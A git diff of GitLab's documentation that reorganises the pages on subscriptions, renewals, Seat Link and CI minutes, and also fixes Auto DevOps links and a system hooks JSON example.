-To renew for more users than are currently active in your GitLab.com system, contact our sales team via `renewals@gitlab.com` for assistance as this can't be done in the Customers Portal.
-
-For details on upgrading your subscription tier, see [Upgrade your GitLab.com subscription tier](#upgrade-your-gitlabcom-subscription-tier).
-
-#### Automatic renewal
-
-To view or change automatic subscription renewal (at the same tier as the previous period), log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in), and:
-
-- If you see a **Resume subscription** button, your subscription was canceled previously. Click it to resume automatic renewal.
-- If you see **Cancel subscription**, your subscription is set to automatically renew at the end of the subscription period. Click it to cancel automatic renewal.
-
-With automatic renewal enabled, the subscription will automatically renew on the expiration date and there will be no gap in available service.
-An invoice will be generated for the renewal and available for viewing or download in the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance.
-
-### Renew a self-managed subscription
-
-Starting 30 days before a subscription expires, GitLab notifies administrators of the date of expiry with a banner in the GitLab user interface.
-
-We recommend following these steps during renewal:
-
-1. Prune any inactive or unwanted users by [blocking them](../user/admin_area/blocking_unblocking_users.md#blocking-a-user).
-1. Determine if you have a need for user growth in the upcoming subscription.
-1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in) and select the **Renew** button beneath your existing subscription.
-
- TIP: **Tip:**
- If you need to change your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team via `renewals@gitlab.com` for assistance as this can't be done in the Customers Portal.
-
-1. In the first box, enter the total number of user licenses you’ll need for the upcoming year. Be sure this number is at least **equal to, or greater than** the number of active users in the system at the time of performing the renewal.
-1. Enter the number of [users over license](#users-over-license) in the second box for the user overage incurred in your previous subscription term.
-
- TIP: **Tip:**
- You can find the _users over license_ in your instance's **Admin** dashboard by clicking on the **Admin Area** in the top bar, or going to `/admin`.
-
- The following table describes details of your admin dashboard and renewal terms:
-
- | Field | Description |
- |:------|:------------|
- | Users in License | The number of users you've paid for in the current license loaded on the system. This does not include the amount you've paid for `Users over license` during renewal. |
- | Active users | The number of current active users on your system. |
- | Maximum users | The highest number of active users on your system during the term of the loaded license. If this number exceeds your users in license count at any point, you incur users over license. |
- | Users over license | The number of users that exceed the `Users in License` for the current license term. Charges for this number of users will be incurred at the next renewal. |
-
-1. Review your renewal details and complete the payment process.
-1. A license for the renewal term will be available for download on the [Manage Purchases](https://customers.gitlab.com/subscriptions) page on the relevant subscription card. Select **Copy license to clipboard** or **Download license** to get a copy.
-1. [Upload](../user/admin_area/license.md#uploading-your-license) your new license to your instance.
-
-An invoice will be generated for the renewal and available for viewing or download on the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance.
-
-## Upgrade your subscription tier
-
-The process for upgrading differs depending on whether you're a GitLab.com or self-managed customer.
-
-### Upgrade your GitLab.com subscription tier
-
-To upgrade your [GitLab tier](https://about.gitlab.com/pricing/):
-
-1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in).
-1. Select the **Upgrade** button on the relevant subscription card on the [Manage purchases](https://customers.gitlab.com/subscriptions) page.
-1. Select the desired upgrade.
-1. Confirm the active form of payment, or add a new form of payment.
-1. Check the **I accept the Privacy Policy and Terms of Service** checkbox.
-1. Select **Confirm purchase**.
-
-When the purchase has been processed, you receive confirmation of your new subscription tier.
-
-### Upgrade your self-managed subscription tier
-
-To upgrade your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team as this
-can't be done in the Customers Portal. You can either send an email to `renewals@gitlab.com`, or
-complete the [**Contact Sales**](https://about.gitlab.com/sales/) form. Include details of which subscription you want to upgrade and the desired tier in your message.
-
-After messaging the sales team, the workflow is as follows:
-
-1. Receive a reply from the sales team, asking for confirmation of the upgrade.
-1. Reply to the sales team, confirming details of the upgrade.
-1. Receive a quote from the sales team.
-1. Sign and return the quote.
-1. Receive the new license.
-1. Upload the new license. For details, see [Uploading your license](../user/admin_area/license.md#uploading-your-license).
-
-The new subscription tier is active when the license file is uploaded.
-
-## Subscription expiry
-
-When your subscription or trial expires, GitLab does not delete your data, but it may become inaccessible, depending on the tier at expiry. Some features may not behave as expected if you're not prepared for the expiry. For example, [environment specific variables not being passed](https://gitlab.com/gitlab-org/gitlab/-/issues/24759).
-
-If you renew or upgrade, your data will again be accessible.
-
-### Self-managed GitLab data
-
-For self-managed customers, there is a 14-day grace period when your features
-will continue to work as-is, after which the entire instance will become read
-only.
-
-However, if you remove the license, you will immediately revert to Core
-features, and the instance will be read / write again.
-
-## CI pipeline minutes
-
-CI pipeline minutes are the execution time for your [pipelines](../ci/pipelines/index.md) on GitLab's shared runners. Each [GitLab.com tier](https://about.gitlab.com/pricing/) includes a monthly quota of CI pipeline minutes:
-
-- Free: 2,000 minutes
-- Bronze: 2,000 minutes
-- Silver: 10,000 minutes
-- Gold: 50,000 minutes
-
-Quotas apply to:
-
-- Groups, where the minutes are shared across all members of the group, its subgroups, and nested projects. To view the group's usage, navigate to the group, then **Settings > Usage Quotas**.
-- Your personal account, where the minutes are available for your personal projects. To view and buy personal minutes, click your avatar, then **Settings > [Usage Quotas](https://gitlab.com/profile/usage_quotas#pipelines-quota-tab)**.
-
-Only pipeline minutes for GitLab shared runners are restricted. If you have a specific runner set up for your projects, there is no limit to your build time on GitLab.com.
-
-The available quota is reset on the first of each calendar month at midnight UTC.
-
-When the CI minutes are depleted, an email is sent automatically to notify the owner(s)
-of the namespace. You can [purchase additional CI minutes](#purchasing-additional-ci-minutes), or upgrade your account to [Silver or Gold](https://about.gitlab.com/pricing/). Your own runners can still be used even if you reach your limits.
-
-### Purchasing additional CI minutes
-
-If you're using GitLab.com, you can purchase additional CI minutes so your
-pipelines won't be blocked after you have used all your CI minutes from your
-main quota. You can find pricing for additional CI/CD minutes in the [GitLab Customers Portal](https://customers.gitlab.com/plans). Additional minutes:
-
-- Are only used once the shared quota included in your subscription runs out.
-- Roll over month to month.
-
-To purchase additional minutes for your group on GitLab.com:
-
-1. From your group, go to **Settings > Usage Quotas**.
-1. Select **Buy additional minutes** and you will be directed to the Customers Portal.
-1. Locate the subscription card that's linked to your group on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction.
-1. Once we have processed your payment, the extra CI minutes will be synced to your group namespace.
-1. To confirm the available CI minutes, go to your group, then **Settings > Usage Quotas**.
-
- The **Additional minutes** displayed now includes the purchased additional CI minutes, plus any minutes rolled over from last month.
-
-To purchase additional minutes for your personal namespace:
+## GitLab for Education subscriptions
-1. Click your avatar, then go to **Settings > Usage Quotas**.
-1. Select **Buy additional minutes** and you will be directed to the Customers Portal.
-1. Locate the subscription card that's linked to your personal namespace on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction. Once we have processed your payment, the extra CI minutes will be synced to your personal namespace.
-1. To confirm the available CI minutes for your personal projects, click your avatar, then go to **Settings > Usage Quotas**.
+The GitLab Education license can only be used for instructional-use or
+non-commercial academic research.
- The **Additional minutes** displayed now includes the purchased additional CI minutes, plus any minutes rolled over from last month.
+Find more information how to apply and renew at
+[GitLab for Education](https://about.gitlab.com/solutions/education/).
-Be aware that:
+## GitLab for Open Source subscriptions
-- If you have purchased extra CI minutes before the purchase of a paid plan,
- we will calculate a pro-rated charge for your paid plan. That means you may
- be charged for less than one year since your subscription was previously
- created with the extra CI minutes.
-- Once the extra CI minutes have been assigned to a Group, they can't be transferred
- to a different Group.
-- If you have used more minutes than your default quota, these minutes will
- be deducted from your Additional Minutes quota immediately after your purchase of additional
- minutes.
+All [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/program/)
+requests, including subscription renewals, must be made by using the application process.
+If you have any questions, send an email to `opensource@gitlab.com` for assistance.
## Contact Support
-We also encourage all users to search our project trackers for known issues and
-existing feature requests in the [GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/) project.
-
-These issues are the best avenue for getting updates on specific product plans
-and for communicating directly with the relevant GitLab team members.
-
Learn more about:
- The tiers of [GitLab Support](https://about.gitlab.com/support/).
- [Submit a request via the Support Portal](https://support.gitlab.com/hc/en-us/requests/new).
-## GitLab for Education subscriptions
-
-To renew a [GitLab for Education](https://about.gitlab.com/solutions/education/) subscription, send an email to `education@gitlab.com` with the following information:
-
-1. The number of seats for the renewal. You can add seats if needed.
-1. The use case for the license. Specifically, we need verification that the use meets the conditions of the [End User License Agreement](https://about.gitlab.com/terms/#edu-oss). Note that university infrastructure operations and information technology operations don't fall within the stated terms of the Education Program. For details, see the [Education FAQ](https://about.gitlab.com/solutions/education/#FAQ).
-1. The full name, email address, and phone number of the primary contact who will be signing the renewal quote. Only signatures by faculty or staff with proper signing authority on the behalf of the university will be accepted.
-
-After we receive the above information, we will process the request and return a renewal quote for signature. Please allow a minimum of 2 business days for return. Email us at `education@gitlab.com` with any questions.
-
-## GitLab for Open Source subscriptions
+We also encourage all users to search our project trackers for known issues and
+existing feature requests in the
+[GitLab project](https://gitlab.com/gitlab-org/gitlab/-/issues/).
-All [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/program/) requests, including subscription renewals, must be made by using the application process. If you have any questions, send an email to `opensource@gitlab.com` for assistance.
+These issues are the best avenue for getting updates on specific product plans
+and for communicating directly with the relevant GitLab team members.
<!-- ## Troubleshooting
diff --git a/doc/subscriptions/self_managed/index.md b/doc/subscriptions/self_managed/index.md
new file mode 100644
index 00000000000..a0eb998c545
--- /dev/null
+++ b/doc/subscriptions/self_managed/index.md
@@ -0,0 +1,318 @@
+---
+type: index, reference
+---
+
+# GitLab self-managed subscription **(STARTER ONLY)**
+
+You can install, administer, and maintain your own GitLab instance.
+
+In this page we'll go through the details of your GitLab self-managed subscription.
+
+## Choose a GitLab tier
+
+Pricing is [tier-based](https://about.gitlab.com/pricing/), allowing you to choose
+the features which fit your budget. For information on what features are available
+at each tier, see the
+[GitLab self-managed feature comparison](https://about.gitlab.com/pricing/self-managed/feature-comparison/).
+
+## Choose the number of users
+
+A self-managed subscription uses a hybrid model. You pay for a subscription
+according to the maximum number of users enabled during the subscription period.
+For instances that aren't offline or on a closed network, the maximum number of
+simultaneous users in the self-managed installation is checked each quarter,
+using [Seat Link](#seat-link).
+
+Every occupied seat, whether by person, job, or bot is counted in the subscription,
+with the following exceptions:
+
+- [Deactivated](../../user/admin_area/activating_deactivating_users.md#deactivating-a-user) and
+ [blocked](../../user/admin_area/blocking_unblocking_users.md) users who are restricted prior to the
+ renewal of a subscription won't be counted as active users for the renewal subscription. They may
+ count as active users in the subscription period in which they were originally added.
+- Members with Guest permissions on an Ultimate subscription.
+- GitLab-created service accounts: `Ghost User`, `Support Bot` and [`Project bot users`](../../user/project/settings/project_access_tokens.md#project-bot-users).
+
+### Users statistics
+
+To view a breakdown of the users within your instance, including active, billable,
+and blocked, go to **Admin Area > Overview > Dashboard** and select **Users statistics**
+in the **Users** section. For more details, see
+[Users statistics](../../user/admin_area/index.md#users-statistics).
+
+NOTE: **Note:**
+If you have LDAP integration enabled, anyone in the configured domain can sign up for a GitLab account. This can result in an unexpected bill at time of renewal. Consider [disabling new signups](../../user/admin_area/settings/sign_up_restrictions.md) and managing new users manually instead.
+
+## Obtain a subscription
+
+To subscribe to GitLab through a self-managed installation:
+
+1. Go to the [Customers Portal](https://customers.gitlab.com/) and purchase a
+ **Starter**, **Premium**, or **Ultimate** self-managed plan.
+1. After purchase, a license file is sent to the email address associated to the Customers Portal account,
+ which must be [uploaded to your GitLab instance](../../user/admin_area/license.md#uploading-your-license).
+
+TIP: **Tip:**
+If you're purchasing a subscription for an existing **Core** self-managed
+instance, ensure you're purchasing enough seats to
+[cover your users](../../user/admin_area/index.md#administering-users).
+
+## View your subscription
+
+If you are an administrator, to view the status of your self-managed subscription,
+log in to the your GitLab instance and go to the **License** page:
+
+1. Go to **Admin Area**.
+1. From the left-hand menu, select **License**.
+
+Read more about the [license admin area](../../user/admin_area/license.md).
+
+## Renew your subscription
+
+To renew your subscription,
+[prepare for renewal by reviewing your account](#prepare-for-renewal-by-reviewing-your-account),
+then [renew your self-managed subscription](#renew-a-subscription).
+
+### Prepare for renewal by reviewing your account
+
+The [Customers Portal](https://customers.gitlab.com/customers/sign_in) is your
+tool for renewing and modifying your subscription. Before going ahead with renewal,
+log in and verify or update:
+
+- The invoice contact details on the **Account details** page.
+- The credit card on file on the **Payment Methods** page.
+
+TIP: **Tip:**
+Contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293)
+if you need assistance accessing the Customers Portal or if you need to change
+the contact person who manages your subscription.
+
+It's important to regularly review your user accounts, because:
+
+- A GitLab subscription is based on the number of users. You will pay more than
+ you should if you renew for too many users, while the renewal will fail if you
+ attempt to renew a subscription for too few users.
+- Stale user accounts can be a security risk. A regular review helps reduce this risk.
+
+#### Users over License
+
+A GitLab subscription is valid for a specific number of users. For details, see
+[Choose the number of users](#choose-the-number-of-users). If the active user
+count exceeds the number included in the subscription, known as the number of
+_users over license_, you must pay for the excess number of users either before
+renewal, or at the time of renewal. This is also known the _true up_ process.
+
+Self-managed instances can add users to a subscription any time during the
+subscription period. The cost of additional users added during the subscription
+period is prorated from the date of purchase through the end of the subscription period.
+
+To add users to a subscription:
+
+1. Log in to the [Customers Portal](https://customers.gitlab.com/).
+1. Navigate to the **Manage Purchases** page.
+1. Select **Add more seats** on the relevant subscription card.
+1. Enter the number of additional users.
+1. Select **Proceed to checkout**.
+1. Review the **Subscription Upgrade Detail**. The system lists the total price for all users on the system and a credit for what you've already paid. You will only be charged for the net change.
+1. Select **Confirm Upgrade**.
+
+The following will be emailed to you:
+
+- A payment receipt. You can also access this information in the Customers Portal under [**View invoices**](https://customers.gitlab.com/receipts).
+- A new license. [Upload this license](../../user/admin_area/license.md#uploading-your-license) to your instance to use it.
+
+### Renew a subscription
+
+Starting 30 days before a subscription expires, GitLab notifies administrators of the date of expiry with a banner in the GitLab user interface.
+
+We recommend following these steps during renewal:
+
+1. Prune any inactive or unwanted users by [blocking them](../../user/admin_area/blocking_unblocking_users.md#blocking-a-user).
+1. Determine if you have a need for user growth in the upcoming subscription.
+1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in) and select the **Renew** button beneath your existing subscription.
+
+ TIP: **Tip:**
+ If you need to change your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team via `renewals@gitlab.com` for assistance as this can't be done in the Customers Portal.
+
+1. In the first box, enter the total number of user licenses you’ll need for the upcoming year. Be sure this number is at least **equal to, or greater than** the number of active users in the system at the time of performing the renewal.
+1. Enter the number of [users over license](#users-over-license) in the second box for the user overage incurred in your previous subscription term.
+
+ TIP: **Tip:**
+ You can find the _users over license_ in your instance's **Admin** dashboard by clicking on the **Admin Area** in the top bar, or going to `/admin`.
+
+ The following table describes details of your admin dashboard and renewal terms:
+
+ | Field | Description |
+ |:------|:------------|
+ | Users in License | The number of users you've paid for in the current license loaded on the system. This does not include the amount you've paid for `Users over license` during renewal. |
+ | Active users | The number of current active users on your system. |
+ | Maximum users | The highest number of active users on your system during the term of the loaded license. If this number exceeds your users in license count at any point, you incur users over license. |
+ | Users over license | The number of users that exceed the `Users in License` for the current license term. Charges for this number of users will be incurred at the next renewal. |
+
+1. Review your renewal details and complete the payment process.
+1. A license for the renewal term will be available for download on the [Manage Purchases](https://customers.gitlab.com/subscriptions) page on the relevant subscription card. Select **Copy license to clipboard** or **Download license** to get a copy.
+1. [Upload](../../user/admin_area/license.md#uploading-your-license) your new license to your instance.
+
+An invoice will be generated for the renewal and available for viewing or download on the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance.
+
+### Seat Link
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208832) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.9.
+
+Seat Link allows GitLab Inc. to provide our self-managed customers with prorated charges for user growth throughout the year using a quarterly reconciliation process.
+
+Seat Link daily sends a count of all users in connected self-managed instances to GitLab. That information is used to automate prorated reconciliations. The data is sent securely through an encrypted HTTPS connection.
+
+Seat Link provides **only** the following information to GitLab:
+
+- Date
+- License key
+- Historical maximum user count
+- Active users count
+
+For offline or closed network customers, the existing [true-up model](#users-over-license) will be used. Prorated charges are not possible without user count data.
+
+<details>
+<summary>Click here to view example content of a Seat Link POST request.</summary>
+
+<pre><code>
+{
+ date: '2020-01-29',
+ license_key: 'ZXlKa1lYUmhJam9pWm5WNmVsTjVZekZ2YTJoV2NucDBh
+RXRxTTA5amQxcG1VMVZqDQpXR3RwZEc5SGIyMVhibmxuZDJ0NWFrNXJTVzVH
+UzFCT1hHNVRiVFIyT0ZaUFlVSm1OV1ZGV0VObE1uVk4NCk4xY3ZkM1F4Y2to
+MFFuVklXSFJvUWpSM01VdE9SVE5rYkVjclZrdDJORkpOTlhka01qaE5aalpj
+YmxSMg0KWVd3MFNFTldTRmRtV1ZGSGRDOUhPR05oUVZvNUsxVnRXRUZIZFU1
+U1VqUm5aVFZGZUdwTWIxbDFZV1EyDQphV1JTY1V4c1ZYSjNPVGhrYVZ4dVlu
+TkpWMHRJZUU5dmF6ZEJRVVkxTlVWdFUwMTNSMGRHWm5SNlJFcFYNClQyVkJl
+VXc0UzA0NWFFb3ZlSFJrZW0xbVRqUlZabkZ4U1hWcWNXRnZYRzVaTm5GSmVW
+UnJVR1JQYTJKdA0KU0ZZclRHTmFPRTVhZEVKMUt6UjRkSE15WkRCT1UyNWlS
+MGRJZDFCdmRFWk5Za2h4Tm5sT1VsSktlVlYyDQpXRmhjYmxSeU4wRnRNMU5q
+THpCVWFGTmpTMnh3UWpOWVkyc3pkbXBST1dnelZHY3hUV3hxVDIwdlZYRlQN
+Ck9EWTJSVWx4WlVOT01EQXhVRlZ3ZGs1Rk0xeHVSVEJTTDFkMWJUQTVhV1ZK
+WjBORFdWUktaRXNyVnpsTw0KTldkWWQwWTNZa05VWlZBMmRUVk9kVUpxT1hV
+Mk5VdDFTUzk0TUU5V05XbFJhWGh0WEc1cVkyWnhaeTlXDQpTMEpyZWt0cmVY
+bzBOVGhFVG1oU1oxSm5WRFprY0Uwck0wZEdhVUpEV1d4a1RXZFRjVU5tYTB0
+a2RteEQNCmNWTlFSbFpuWlZWY2JpdFVVbXhIV0d4MFRuUnRWbkJKTkhwSFJt
+TnRaMGsyV0U1MFFUUXJWMUJVTWtOSA0KTVhKUWVGTkxPVTkzV1VsMlVUUldk
+R3hNTWswNU1USlNjRnh1U1UxTGJTdHRRM1l5YTFWaWJtSlBTMkUxDQplRkpL
+SzJSckszaG1hVXB1ZVRWT1UwdHZXV0ZOVG1WamMyVjRPV0pSUlZkUU9UUnpU
+VWh2Wlc5cFhHNUgNClNtRkdVMDUyY1RGMWNGTnhVbU5JUkZkeGVWcHVRMnBh
+VTBSUGR6VnRNVGhvWTFBM00zVkZlVzFOU0djMA0KY1ZFM1FWSlplSFZ5UzFS
+aGIxTmNia3BSUFQxY2JpSXNJbxRsZVNJNkltZFhiVzFGVkRZNWNFWndiV2Rt
+DQpNWEIyY21SbFFrdFNZamxaYURCdVVHcHhiRlV3Tm1WQ2JGSlFaSFJ3Y0Rs
+cFMybGhSMnRPTkZOMWNVNU0NClVGeHVTa3N6TUUxcldVOTVWREl6WVVWdk5U
+ZGhWM1ZvVjJkSFRtZFBZVXRJTkVGcE55dE1NRE5dWnpWeQ0KWlV0aWJsVk9T
+RmRzVVROUGRHVXdWR3hEWEc1MWjWaEtRMGQ2YTAxWFpUZHJURTVET0doV00w
+ODRWM0V2DQphV2M1YWs5cWFFWk9aR3BYTm1aVmJXNUNaazlXVUVRMWRrMXpj
+bTFDV0V4dldtRmNibFpTTWpWU05VeFMNClEwTjRNMWxWCUtSVGEzTTJaV2xE
+V0hKTFRGQmpURXRsZFVaQlNtRnJTbkpPZGtKdlUyUmlNVWxNWWpKaQ0KT0dw
+c05YbE1kVnh1YzFWbk5VZDFhbU56ZUM5Tk16TXZUakZOVW05cVpsVTNObEo0
+TjJ4eVlVUkdkWEJtDQpkSHByYWpreVJrcG9UVlo0Y0hKSU9URndiV2RzVFdO
+VlhHNXRhVmszTkV0SVEzcEpNMWRyZEVoRU4ydHINCmRIRnFRVTlCVUVVM1pV
+SlRORE4xUjFaYVJGb3JlWGM5UFZ4dUlpd2lhWFlpt2lKV00yRnNVbk5RTjJk
+Sg0KU1hNMGExaE9SVGR2V2pKQlBUMWNiaUo5DQo=',
+ max_historical_user_count: 10,
+ active_users: 6
+}
+</code></pre>
+
+</details>
+
+You can view the exact JSON payload in the administration panel. To view the payload:
+
+1. Navigate to **Admin Area > Settings > Metrics and profiling** and expand **Seat Link**.
+1. Click **Preview payload**.
+
+#### Disable Seat Link
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/212375) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.10.
+
+Seat Link is enabled by default.
+
+To disable this feature, go to **Admin Area > Settings > Metrics and profiling**, uncheck the **Enable Seat Link** checkbox > **Save changes**.
+
+To disable Seat Link in an Omnibus GitLab installation, and prevent it from
+being configured in the future through the administration panel, set the following in
+[`gitlab.rb`](https://docs.gitlab.com/omnibus/settings/configuration.html#configuration-options):
+
+```ruby
+gitlab_rails['seat_link_enabled'] = false
+```
+
+To disable Seat Link in a GitLab source installation, and prevent it from
+being configured in the future through the administration panel,
+set the following in `gitlab.yml`:
+
+```yaml
+production: &base
+ # ...
+ gitlab:
+ # ...
+ seat_link_enabled: false
+```
+
+## Upgrade your subscription tier
+
+To upgrade your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team as this
+can't be done in the Customers Portal. You can either send an email to `renewals@gitlab.com`, or
+complete the [**Contact Sales**](https://about.gitlab.com/sales/) form. Include details of which subscription you want to upgrade and the desired tier in your message.
+
+After messaging the sales team, the workflow is as follows:
+
+1. Receive a reply from the sales team, asking for confirmation of the upgrade.
+1. Reply to the sales team, confirming details of the upgrade.
+1. Receive a quote from the sales team.
+1. Sign and return the quote.
+1. Receive the new license.
+1. Upload the new license. For details, see [Uploading your license](../../user/admin_area/license.md#uploading-your-license).
+
+The new subscription tier is active when the license file is uploaded.
+
+## Subscription expiry
+
+When your subscription or trial expires, GitLab does not delete your data, but it
+may become inaccessible, depending on the tier at expiry. Some features may not
+behave as expected if you're not prepared for the expiry. For example,
+[environment specific variables not being passed](https://gitlab.com/gitlab-org/gitlab/-/issues/24759).
+If you renew or upgrade, your data will again be accessible.
+
+For self-managed customers, there is a 14-day grace period when your features
+will continue to work as-is, after which the entire instance will become read
+only.
+
+However, if you remove the license, you will immediately revert to Core
+features, and the instance will be read / write again.
+
+## Customers portal
+
+GitLab provides a [customer portal](../index.md#customers-portal) where you can
+manage your subscriptions and your account details.
+
+## Contact Support
+
+Learn more about:
+
+- The tiers of [GitLab Support](https://about.gitlab.com/support/).
+- [Submit a request via the Support Portal](https://support.gitlab.com/hc/en-us/requests/new).
+
+We also encourage all users to search our project trackers for known issues and
+existing feature requests in the [GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/) project.
+
+These issues are the best avenue for getting updates on specific product plans
+and for communicating directly with the relevant GitLab team members.
+
+## Troubleshooting
+
+### Credit card declined
+
+If your credit card is declined when purchasing a GitLab subscription, possible reasons include:
+
+- The credit card details provided are incorrect.
+- The credit card account has insufficient funds.
+- You are using a virtual credit card and it has insufficient funds, or has expired.
+- The transaction exceeds the credit limit.
+- The transaction exceeds the credit card's maximum transaction amount.
+
+Check with your financial institution to confirm if any of these reasons apply. If they don't
+apply, contact [GitLab Support](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293).
diff --git a/doc/system_hooks/system_hooks.md b/doc/system_hooks/system_hooks.md
index 4ece58f533d..feea038b7d2 100644
--- a/doc/system_hooks/system_hooks.md
+++ b/doc/system_hooks/system_hooks.md
@@ -671,7 +671,7 @@ X-Gitlab-Event: System Hook
"homepage":"http://example.com/jsmith/example",
"url":"git@example.com:jsmith/example.git",
"ssh_url":"git@example.com:jsmith/example.git",
- "http_url":"http://example.com/jsmith/example.git",
+ "http_url":"http://example.com/jsmith/example.git"
},
"changes": [
{
diff --git a/doc/topics/application_development_platform/index.md b/doc/topics/application_development_platform/index.md
index 06cae63cbe3..85741c4b631 100644
--- a/doc/topics/application_development_platform/index.md
+++ b/doc/topics/application_development_platform/index.md
@@ -47,10 +47,10 @@ that may lead to security problems and unintended use. This can be achieved by m
which inform security teams and developers if there is something to consider changing in their apps
before it is too late to create a preventative fix. The following features are included:
-- [Auto SAST (Static Application Security Testing)](../autodevops/stages.md#auto-sast-ultimate)
-- [Auto Dependency Scanning](../autodevops/stages.md#auto-dependency-scanning-ultimate)
-- [Auto Container Scanning](../autodevops/stages.md#auto-container-scanning-ultimate)
-- [Auto DAST (Dynamic Application Security Testing)](../autodevops/stages.md#auto-dast-ultimate)
+- [Auto SAST (Static Application Security Testing)](../autodevops/stages.md#auto-sast)
+- [Auto Dependency Scanning](../autodevops/stages.md#auto-dependency-scanning)
+- [Auto Container Scanning](../autodevops/stages.md#auto-container-scanning)
+- [Auto DAST (Dynamic Application Security Testing)](../autodevops/stages.md#auto-dast)
### Observability
diff --git a/doc/topics/autodevops/customize.md b/doc/topics/autodevops/customize.md
index b5952494201..13aa8f7e035 100644
--- a/doc/topics/autodevops/customize.md
+++ b/doc/topics/autodevops/customize.md
@@ -130,7 +130,7 @@ repository or by specifying a project variable:
- **Bundled chart** - If your project has a `./chart` directory with a `Chart.yaml`
file in it, Auto DevOps will detect the chart and use it instead of the
- [default chart](https://gitlab.com/gitlab-org/charts/auto-deploy-app), enabling
+ [default chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app), enabling
you to control exactly how your application is deployed.
- **Project variable** - Create a [project variable](../../ci/variables/README.md#gitlab-cicd-environment-variables)
`AUTO_DEVOPS_CHART` with the URL of a custom chart to use, or create two project
@@ -142,7 +142,7 @@ repository or by specifying a project variable:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30628) in GitLab 12.6, `.gitlab/auto-deploy-values.yaml` will be used by default for Helm upgrades.
You can override the default values in the `values.yaml` file in the
-[default Helm chart](https://gitlab.com/gitlab-org/charts/auto-deploy-app) by either:
+[default Helm chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app) by either:
- Adding a file named `.gitlab/auto-deploy-values.yaml` to your repository, which is
automatically used, if found.
@@ -154,6 +154,16 @@ NOTE: **Note:**
For GitLab 12.5 and earlier, use the `HELM_UPGRADE_EXTRA_ARGS` environment variable
to override the default chart values by setting `HELM_UPGRADE_EXTRA_ARGS` to `--values <my-values.yaml>`.
+## Customize the `helm upgrade` command
+
+You can customize the `helm upgrade` command used in the [auto-deploy-image](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image)
+by passing options to the command with the `HELM_UPGRADE_EXTRA_ARGS` variable.
+For example, set the value of `HELM_UPGRADE_EXTRA_ARGS` to `--no-hooks` to disable
+pre and post upgrade hooks when the command is executed.
+
+See [the official documentation](https://helm.sh/docs/helm/helm_upgrade/) for the full
+list of options.
+
## Custom Helm chart per environment
You can specify the use of a custom Helm chart per environment by scoping the environment variable
@@ -316,7 +326,7 @@ applications.
| `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER` | The builder used when building with Cloud Native Buildpacks. The default builder is `heroku/buildpacks:18`. [More details](stages.md#auto-build-using-cloud-native-buildpacks-beta). |
| `AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` | Extra arguments to be passed to the `docker build` command. Note that using quotes won't prevent word splitting. [More details](#passing-arguments-to-docker-build). |
| `AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES` | A [comma-separated list of CI variable names](#forward-ci-variables-to-the-build-environment) to be forwarded to the build environment (the buildpack builder or `docker build`). |
-| `AUTO_DEVOPS_CHART` | Helm Chart used to deploy your apps. Defaults to the one [provided by GitLab](https://gitlab.com/gitlab-org/charts/auto-deploy-app). |
+| `AUTO_DEVOPS_CHART` | Helm Chart used to deploy your apps. Defaults to the one [provided by GitLab](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app). |
| `AUTO_DEVOPS_CHART_REPOSITORY` | Helm Chart repository used to search for charts. Defaults to `https://charts.gitlab.io`. |
| `AUTO_DEVOPS_CHART_REPOSITORY_NAME` | From GitLab 11.11, used to set the name of the Helm repository. Defaults to `gitlab`. |
| `AUTO_DEVOPS_CHART_REPOSITORY_USERNAME` | From GitLab 11.11, used to set a username to connect to the Helm repository. Defaults to no credentials. Also set `AUTO_DEVOPS_CHART_REPOSITORY_PASSWORD`. |
@@ -325,14 +335,14 @@ applications.
| `AUTO_DEVOPS_ALLOW_TO_FORCE_DEPLOY_V<N>` | From [auto-deploy-image](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image) v1.0.0, if this variable is present, a new major version of chart is forcibly deployed. [More details](upgrading_chart.md#ignore-warning-and-continue-deploying) |
| `AUTO_DEVOPS_MODSECURITY_SEC_RULE_ENGINE` | From GitLab 12.5, used in combination with [ModSecurity feature flag](../../user/clusters/applications.md#web-application-firewall-modsecurity) to toggle [ModSecurity's `SecRuleEngine`](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)#SecRuleEngine) behavior. Defaults to `DetectionOnly`. |
| `BUILDPACK_URL` | Buildpack's full URL. Can point to either [a Git repository URL or a tarball URL](#custom-buildpacks). |
-| `CANARY_ENABLED` | From GitLab 11.0, used to define a [deploy policy for canary environments](#deploy-policy-for-canary-environments-premium). |
